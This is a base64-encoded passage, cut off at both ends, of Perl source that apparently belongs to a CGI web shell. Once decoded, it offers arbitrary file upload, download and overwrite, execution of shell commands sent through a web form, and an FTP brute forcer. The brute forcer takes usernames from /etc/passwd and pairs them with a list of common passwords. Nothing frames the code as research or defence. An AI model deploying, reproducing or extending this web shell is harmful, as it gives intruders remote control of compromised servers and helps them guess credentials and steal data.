IHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZ